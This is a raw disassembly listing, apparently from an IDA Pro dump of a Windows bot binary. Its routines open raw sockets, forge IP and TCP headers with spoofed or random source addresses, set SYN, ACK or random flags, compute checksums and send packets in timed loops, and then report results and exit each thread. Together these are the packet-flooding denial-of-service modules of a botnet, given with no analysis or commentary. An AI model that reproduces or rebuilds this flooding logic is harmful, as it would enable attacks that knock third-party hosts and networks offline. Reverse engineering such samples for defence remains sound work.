		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_417C89
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_417C89
		mov	edi, eax
		call	sub_417DF2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41221C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_412519
		push	1
		pop	eax


loc_412519:				; CODE XREF: sub_4124CE+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4124CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412528	proc near		; DATA XREF: sub_401AC7+6418o

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_417C89
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4C983C	; inet_addr
		push	eax
		call	sub_4125C9
		push	eax
		lea	eax, [ebp+var_394]
		push	offset dword_437070
		push	eax
		call	sub_417D96
		xor	esi, esi
		add	esp, 14h
		cmp	[ebp+var_8], esi
		jnz	short loc_4125AA
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_408C5D
		add	esp, 14h


loc_4125AA:				; CODE XREF: sub_412528+60j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_413B5E
		push	[ebp+var_10]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_412528	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125C9	proc near		; CODE XREF: sub_412528+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ecx
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		mov	ebx, 0FFh
		push	6
		xor	eax, eax
		pop	edx
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd
		mov	edi, 100h
		push	edi
		call	sub_4194C5
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	dword_4C9814	; gethostname
		push	[ebp+var_4]
		call	dword_4C9880	; gethostbyname
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	dword_4C987C	; socket
		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4C97E0	; setsockopt
		mov	esi, 200h
		push	esi
		call	sub_417A2B
		mov	edi, dword_4230A8
		pop	ecx
		mov	[ebp+var_8], eax
		call	edi	; GetTickCount
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_4C9800	; htons
		mov	[ebp+var_96], ax


loc_4126E4:				; CODE XREF: sub_4125C9+1FCj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	loc_4127CA
		call	sub_417DF2
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	sub_417DF2
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	sub_417DF2
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_24], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	sub_417DF2
		mov	[ebp+var_20], ax
		call	sub_417DF2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	dword_4C9800	; htons
		push	esi
		mov	[ebp+var_1E], ax
		call	dword_4C9800	; htons
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	sub_417DF2
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_409D76
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_24]
		push	14h
		push	eax
		push	[ebp+var_8]
		call	sub_418810
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_4C9860	; sendto
		jmp	loc_4126E4
; ---------------------------------------------------------------------------


loc_4127CA:				; CODE XREF: sub_4125C9+12Cj
		push	[ebp+var_8]
		call	sub_4177C1
		pop	ecx
		push	[ebp+var_4]
		call	dword_4C9894	; closesocket
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4125C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127E4	proc near		; DATA XREF: sub_401AC7+4B08o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_4230A8
		call	edi	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4C987C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4128AD
		call	dword_4C979C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_437188
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_41288D
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408C5D
		add	esp, 14h


loc_41288D:				; CODE XREF: sub_4127E4+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413B5E
		push	[ebp+var_BC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_4128AD:				; CODE XREF: sub_4127E4+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_4C97E0	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41292B
		call	dword_4C979C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_437150
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_41290B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408C5D
		add	esp, 14h


loc_41290B:				; CODE XREF: sub_4127E4+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413B5E
		push	[ebp+var_BC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_41292B:				; CODE XREF: sub_4127E4+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4C983C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41299B
		lea	eax, [ebp+var_440]
		push	offset unk_437130
		push	eax
		call	sub_417D96
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_41297B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408C5D
		add	esp, 14h


loc_41297B:				; CODE XREF: sub_4127E4+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413B5E
		push	[ebp+var_BC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_41299B:				; CODE XREF: sub_4127E4+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_4C9800	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4C983C	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_4129D3:				; CODE XREF: sub_4127E4+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_412C97
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_4C9800	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_412A46
		call	sub_417DF2
		mov	esi, eax
		shl	esi, 8
		call	sub_417DF2
		add	esi, eax
		shl	esi, 8
		call	sub_417DF2
		add	esi, eax
		shl	esi, 8
		call	sub_417DF2
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_412A5C
; ---------------------------------------------------------------------------


loc_412A46:				; CODE XREF: sub_4127E4+233j
		push	[ebp+var_240]
		call	sub_409D1D
		pop	ecx
		push	eax
		call	dword_4C983C	; inet_addr
		mov	[ebp+var_20], eax


loc_412A5C:				; CODE XREF: sub_4127E4+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_412A7A
		call	sub_417DF2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_412A80
; ---------------------------------------------------------------------------


loc_412A7A:				; CODE XREF: sub_4127E4+284j
		push	[ebp+var_B8]


loc_412A80:				; CODE XREF: sub_4127E4+294j
		call	dword_4C9800	; htons
		mov	[ebp+var_16], ax
		call	sub_417DF2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4C9800	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_4C97FC	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412AD0
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_412B2C
; ---------------------------------------------------------------------------


loc_412AD0:				; CODE XREF: sub_4127E4+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412AF0
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_412B2C
; ---------------------------------------------------------------------------


loc_412AF0:				; CODE XREF: sub_4127E4+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom_0 ; "random"
		push	eax
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412B2C
		call	sub_417DF2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_417DF2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_412B2C:				; CODE XREF: sub_4127E4+2EAj
					; sub_4127E4+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_4C9800	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_4C9800	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_409D76
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_418810
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_409D76
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_418810
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_4C9860	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412C19
		inc	[ebp+arg_0]
		jmp	loc_4129D3
; ---------------------------------------------------------------------------


loc_412C19:				; CODE XREF: sub_4127E4+42Bj
		push	[ebp+var_4]
		call	dword_4C9894	; closesocket
		call	dword_4C979C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4370E0
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_417E90
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_412C77
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408C5D
		add	esp, 14h


loc_412C77:				; CODE XREF: sub_4127E4+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413B5E
		push	[ebp+var_BC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_412C97:				; CODE XREF: sub_4127E4+203j
		push	[ebp+var_4]
		call	dword_4C9894	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_437090
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_412D08
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408C5D
		add	esp, 14h


loc_412D08:				; CODE XREF: sub_4127E4+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413B5E
		push	[ebp+var_BC]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread
sub_4127E4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D28	proc near		; CODE XREF: sub_412E2F+198p
					; sub_412E2F+1A7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+arg_4], esi
		jle	short loc_412D54
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_412D46:				; CODE XREF: sub_412D28+26j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_412D46
		pop	edi
		cmp	eax, 1


loc_412D54:				; CODE XREF: sub_412D28+12j
		jnz	short loc_412D61
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax


loc_412D61:				; CODE XREF: sub_412D28:loc_412D54j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_412D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D7A	proc near		; DATA XREF: sub_401AC7+6320o

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_417C89
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4C983C	; inet_addr
		push	eax
		lea	esi, [ebp+var_194]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_412E2F
		push	eax
		lea	eax, [ebp+var_394]
		push	offset unk_4371BC
		push	eax
		call	sub_417D96
		xor	esi, esi
		add	esp, 1A8h
		cmp	[ebp+var_8], esi
		jnz	short loc_412E12
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_408C5D
		add	esp, 14h


loc_412E12:				; CODE XREF: sub_412D7A+76j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_413B5E
		push	[ebp+var_10]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
sub_412D7A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E2F	proc near		; CODE XREF: sub_412D7A+54p

var_CC		= byte ptr -0CCh
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_A3		= byte ptr -0A3h
var_A2		= word ptr -0A2h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_52		= word ptr -52h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	ebx
		push	esi
		mov	esi, dword_4230A8
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], ebx
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_10], eax
		call	dword_4C987C	; socket
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		mov	edi, 578h
		push	edi
		push	9
		push	1
		call	sub_415759
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	esi, 5A0h


loc_412E89:				; CODE XREF: sub_412E2F+233j
		call	dword_4230A8	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_413067
		cmp	dword_4CCFB0, ebx
		jnz	short loc_412F06
		push	10h
		pop	eax
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_68]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C97A8	; getsockname
		push	0FFh
		push	1
		call	sub_415759
		push	eax
		movzx	eax, [ebp+var_62]
		push	eax
		movzx	eax, [ebp+var_63]
		push	eax
		movzx	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_CC]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_417D96
		add	esp, 20h
		jmp	short loc_412F19
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412E2F+7Ej
		lea	eax, [ebp+var_CC]
		push	offset dword_4CC990
		push	eax
		call	sub_4183B0
		pop	ecx
		pop	ecx


loc_412F19:				; CODE XREF: sub_412E2F+D5j
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_4C983C	; inet_addr
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_58]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	[ebp+var_54], 10h
		mov	[ebp+var_58], eax
		call	dword_4C9800	; htons
		mov	[ebp+var_52], ax
		call	sub_417DF2
		mov	[ebp+var_50], ax
		mov	eax, [ebp+var_C]


loc_412F4E:				; DATA XREF: .nsp0:off_43AB08o
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_194]
		mov	[ebp+var_4E], 40h
		mov	[ebp+var_4C], 40h
		mov	[ebp+var_4B], 6
		mov	[ebp+var_4A], bx
		mov	[ebp+var_44], eax
		call	sub_417DF2
		mov	[ebp+var_40], ax
		call	sub_417DF2
		mov	[ebp+var_3E], ax
		call	sub_417DF2
		mov	[ebp+var_3C], eax
		call	sub_417DF2
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_34]
		and	ax, 0FF50h
		push	14h
		or	al, 50h
		mov	byte ptr [ebp+var_34+2], 18h
		mov	word ptr [ebp+var_34], ax
		mov	ax, [ebp+var_3E]
		mov	[ebp+var_76], ax
		mov	eax, [ebp+var_44]
		mov	[ebp+var_74], eax
		lea	eax, [ebp+var_58]
		push	eax
		mov	[ebp+var_30], 787Dh
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], bx
		mov	[ebp+var_78], 2
		call	sub_412D28
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		call	sub_412D28
		mov	eax, [ebp+var_48]
		add	esp, 10h
		mov	[ebp+var_AC], eax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], bl
		mov	[ebp+var_A3], 6
		call	dword_4231F4	; htons
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+var_A0]
		push	14h
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_8C]
		push	edi
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_AC]
		push	598h
		push	eax
		call	sub_412D28
		add	esp, 20h
		mov	[ebp+var_2E], ax
		push	10h
		lea	eax, [ebp+var_78]
		push	eax
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4C9860	; sendto
		inc	[ebp+var_4]
		jmp	loc_412E89
; ---------------------------------------------------------------------------


loc_413067:				; CODE XREF: sub_412E2F+72j
		push	[ebp+var_8]
		call	dword_4C9894	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412E2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413078	proc near		; DATA XREF: sub_401AC7+43E5o

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_4130EE
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_4371F0
		push	eax
		call	sub_417D96
		add	esp, 220h
